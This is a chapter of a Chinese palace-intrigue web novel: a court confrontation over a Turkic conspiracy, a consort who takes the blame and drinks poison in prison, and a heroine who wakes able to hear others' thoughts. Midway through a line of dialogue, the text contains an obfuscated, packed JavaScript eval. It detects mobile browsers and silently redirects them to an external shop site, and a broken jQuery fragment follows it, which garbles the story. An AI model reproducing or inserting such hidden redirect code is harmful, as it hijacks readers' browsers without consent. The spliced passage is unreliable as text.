养心殿的殿门再一次缓缓敞开。
来的却不止阿尔斯兰和尚潜令两人。
只见阿尔斯兰搀扶着满身污血的尚潜令,身旁还立着个穿着宫袍,也是血迹满身的女人。
他们的前面,突厥使者阿什纳一行人,皆被捆缚如物,狼狈地趴伏在殿外,排成一列。
“突厥人,阿尔斯兰,见过中原皇陛下。”
阿尔斯兰托着尚潜令进了养心殿,甫一入殿,尚潜令便因脱力摔倒在地。
“你这是何意?为何将阿什纳外使他们捆缚于养心殿外?”老皇帝问。
阿尔斯兰闻言一笑,后退几步,朗声吩咐道:
“太子口谕,将他们押上来。”
话音刚落,养心殿前便涌入一队突厥装束的士兵,他们手中拿着的却不是兵器,而是自己的兜鍪。俨然是一副降状。
这群突厥兵走着,身后跟着的便是拿着刀剑押着他们的那群深蓝士兵,此前在东宫不见踪迹的那群太子左右卫率府兵。
跪在地上的尚说此时起了身。
阿尔斯兰接着道:“中原皇陛下,若非中原太子早察此等诡计,命我率兵以防,此番这群人便真与我身旁的燕王合谋上演一场里外相应的逼宫好戏了。”
言罢,阿尔斯兰弯腰,自尚潜令腰间取出一块令牌。
正是他的将军令。
老皇帝看见那将军令,又瞧了眼浑身是伤无力再言语的尚潜令,沉思片刻,扶着旁边的老太监巍巍起身:
“令儿,他说的是真的吗?”
尚潜令勉强撑起身躯,抬头第一眼却直向余熙瞧去。
余熙愕然抬头,发现尚潜令正目不转睛地看着自己。
尚潜令盯着她笑了起来,他脸上大片鲜红,笑得令人心颤。余熙不明白尚潜令这又是在闹哪般,他越这么奇怪地对着她笑,她越是心头发紧,只觉慌乱。
惹得老皇帝也不由得又看向了她:
“你可有话要讲?”
余熙怔然,强压心头惊疑,张了张嘴却无话可答。她确是不知情,亦不曾参与,然而这一刻,她竟觉自己百口难辩。
皇帝的目光像刀般,一刀一刀剜着余熙的脸,让她备受煎熬,却无法动弹。
这把刀倏然间落在了地上。
有人踏前一步,挡在了她身前。将老皇帝和尚潜令的目光为她尽数挡去。
“父皇,此人不过是儿臣宫中一介宫婢,大约因容貌与慕雨有几分相似,才被误带至此。”
挡在她身前的不是别人。
正是她恨不得抽筋扒皮的尚说。
尚说继续道:“父皇,当下重中之重乃是阿尔斯兰的将军令怎会在燕王手里。”
余熙听见老皇帝叹了口气:“令儿,你太令父皇失望了。”
“父皇,儿臣,儿臣被人所蒙,还望父皇明鉴!”尚潜令嘶哑地辩驳,颤声道,“儿臣也是被奸人所害……”
余熙看见他缓缓抬起了手,指向了殿外。
穿过立于他身旁的阿尔斯兰,穿过门前的守卫,穿过殿外那一群狼狈在地的突厥兵。
他指向了同样深受重伤,强忍苦痛站立在殿门旁的荀慕雨。
“带进来。”
门口的侍卫将荀慕雨押了进来。
余熙心头一沉,荀慕雨身上的伤痕遍布,定是为护尚潜令所留。她瞪视尚潜令,难以置信他竟推了荀慕雨为他自己脱罪。
可尚潜令却毫无愧色,仿若无事人一般。
天家的人,良心都被狗吃了。
“朕瞧着,你好像正是太子宫里的良娣,你为何要陷害令儿?”老皇帝问。
他竟就这样轻信了尚潜令的话。
“父皇,慕雨素日良善,连对待下人都和善无比,断不可能行此逆不道之事。还请父皇明鉴!”尚说拱手。
到底是一日夫妻百日恩,还能看见尚说难得仁慈的一面。余熙心想。
“她是你的宫妃,你自是会袒护她。可你却不知她早已恨你入了骨,不惜一切手段也要除掉你,连带着差点害了我。”尚潜令此刻却不痛了,他反驳着尚说所言的每一个字。
“我和她怎样,与你好像并无干系。”不知是否是因尚潜令方才说荀慕雨恨他入了骨颇为刺耳,余熙瞧见尚说衣袖下的手已然攥紧,用力到指尖都泛着白。
“她恨不恨你,自然是她自己说了算,不信你让她自己说说看?”尚潜令笑得越来越狂妄。
不过明明他每一句中伤的都是荀慕雨和尚说,讲话时,眼睛却一直留在余熙的脸上。
“好了,让她自己说。”老皇帝发了话。
“臣女有罪,臣女与太子不合已久,一时鬼迷心窍,与突厥人搭手意图栽赃太子陷害燕王。”荀慕雨面无神色,“臣女,罪该万死。”
这不可能……
余熙震惊地望着眼前的一幕。
荀慕雨将所有的罪,所有的错,全部揽到了她一人身上。
这不对。这不对。荀慕雨哪里有错,有错的分明是燕王,是尚说,是……
余熙低头看着自己的双手,正是这双手,帮助阿尔斯兰将突厥文书藏进了尚说的书房。
是自己。
“既已认罪,便无再审之需,押下去,择日凌迟,至于殿前的那些突厥人,阿尔斯兰,你自己处理吧。”
“吾皇万岁,万岁,万万岁。”
众人纷纷伏地叩首。
余熙亦随众跪地,仰头望着荀慕雨被押走的背影。
一个最无辜的人,却甘愿背负了所有的过错。而真正的元凶,正在为自己逃过一劫而心安理得。
这般丑陋之人不止是尚潜令。
还有她余熙。
…………
余熙以荀慕雨贴身侍女的身份,向尚说求得了入天牢探望的准许。
等她带着食物到天牢时,荀慕雨正趴在茅草堆上休息。
“良娣,良娣。”余熙朝里轻轻唤着。
荀慕雨听见了有人在叫她,迷迷糊糊起了身,走到木栅栏前,才发觉是余熙:
“余熙,你怎么来了。”
余熙未多言,先将篮中备好的糕点和鲜果递入栅栏内:“良娣,您先吃些吧。”
荀慕雨却摇头,淡淡一笑,并未接过:“将死之人,吃再多不过是浪费罢了。”她隔着木栅栏伸出手,轻轻摸了摸余熙的手,“你能来看我一眼,我已心满意足了。”
“良娣,可此事分明不是你做的,你为何要一人揽下所有,燕王他……”
“燕王殿下于我有救命之恩,更是再塑之恩,我此生无以回报。”荀慕雨苦笑,“我本叫阿勒玛,是一个被遗弃在战场上的,随时都有可能毙命的孤儿,是燕王殿下将我带回,教我刀剑,赐我名姓,予我活路。”
“我现在只不过是将我的这条命,还给了燕王殿下罢了。”她笑着,温柔又带着几分艳羡地望着余熙,“你知道吗?我多羡慕你。若殿下待我有对你半分的重视,我此生,便真无憾了。”
她终于,落下了一滴泪。
她明知道尚潜令是在利用她,却仍心甘情愿地为他赴汤蹈火。
余熙上前握住她的手,眼神恳切。:“良娣,我们逃吧。”
就在这时,牢中忽然传来脚步声。
余熙连忙又将手收了回来,警惕地盯着脚步传来的方向。只见那人身形微胖,越走越近……
竟是李青内侍。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144753|150017||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
李内侍?”余熙问,“你怎么到这来了。”
“余姑娘,荀良娣。”李青说着,从衣襟里取出一支表面上画着梅花的小口药瓶。
余熙定睛一看,竟是此前尚说给自己的那瓶冻疮膏的药瓶。
“荀良娣,燕王殿下不忍您受酷刑,特令奴婢暗送此药来……来助姑娘自尽。也好少受些苦。”李青说着,便要将手中的药瓶往木栅栏里递。
“不行,我要带阿勒玛姐姐出宫。她不能就死在这里!”余熙伸手去拦,一时疏忽,却将自己手中的篮子摔到了地上。
“谁!”
门口的狱卒似被惊动,托着刀往里走。
李青自然是偷偷溜进来的,她若一败露,事情便会愈演愈烈。
于是她更加用力地将手中的药瓶往木栅栏里推,而余熙则分立地将她的手往回拉。
李青从未习过武,自然不能和余熙较劲。她的手被余熙拉了回来。
余熙松了一口气,却又立马发觉她手里的药瓶不见了。
不好!
她一抬头,瞧见那毒药,不知何时竟跑到了荀慕雨手里。
“不要!”
“大胆,竟敢擅闯天牢!”提着刀的狱卒恰时赶了,他也扛着刀朝李青冲来。
此时此刻,余熙却听不见两旁的动向,也无心理会事后的结果。
她眼睁睁地看着。
荀慕雨仰脖,将毒药,一饮而尽。
荀慕雨,不,阿勒玛,她握着药瓶,笑着倒了下去。
嘴角渗出五脏俱裂而涌的鲜血。
余熙觉得好吵。无论是她身旁正在打斗的李青和狱卒,还是自己脑子里一直嗡鸣不断的响动。
都好吵。
她捂住耳朵,身子渐渐滑落,眼前一片昏暗。
她晕了过去。
…………
“老师,你说余熙她还醒的过来吗?”
“太子殿下亲自抱来的,说是受了些惊吓,应当很快就能醒。”
“老师,待她醒了,莫让她见到我了吧,她心中只怕还恨着我……”
……
“不要,不要,阿勒玛姐姐!”
身下悠悠晃着,一阵阳光打在余熙脸上。余熙骤然睁眼,惊坐了起来。
她揉了揉额头,四下一瞧。她早已不在牢狱内,身上盖着件黑披风,正坐在马车里。
而她身侧坐着的,是白安和常露。
余熙方才挣起身,因久卧未起,竟一时腿软,险些栽倒在地。常露忙扶住她。
“此前确实是我对不住她,希望她能不计前嫌,不要那么恨我。”
是常露在说话。
“什么?”余熙转过头,盯着常露问,“你说什么?”
“我?我没说话呀,余姑娘你听错了吧!”常露被吓了一跳。
“我就知道她肯定还是恨我,看我不爽,唉。可是我真的知道错了。”又是常露的声音。
可余熙分明不差分秒地紧盯着常露的唇,却没见她说话。
既然常露没有说话,自己又是怎么听见的呢?余熙心生疑惑。
“唉,还望师姐能和常露好好相处。”
是白安的声音。
余熙又一扭头盯着白安。
白安眨眨眼睛:“师姐,您有何吩咐。”
“师姐还真是受了刺激了,怎么这样疑神疑鬼。”
余熙又听见了白安的声音。可白安分明没张嘴。
她只觉困惑难解——眼前二人明明未曾开口,然那低语却一字不漏传入耳中,如幻似真。
不对。
余熙思索片刻,恍然大悟。
她方才所听见的,好像是这两人的心声?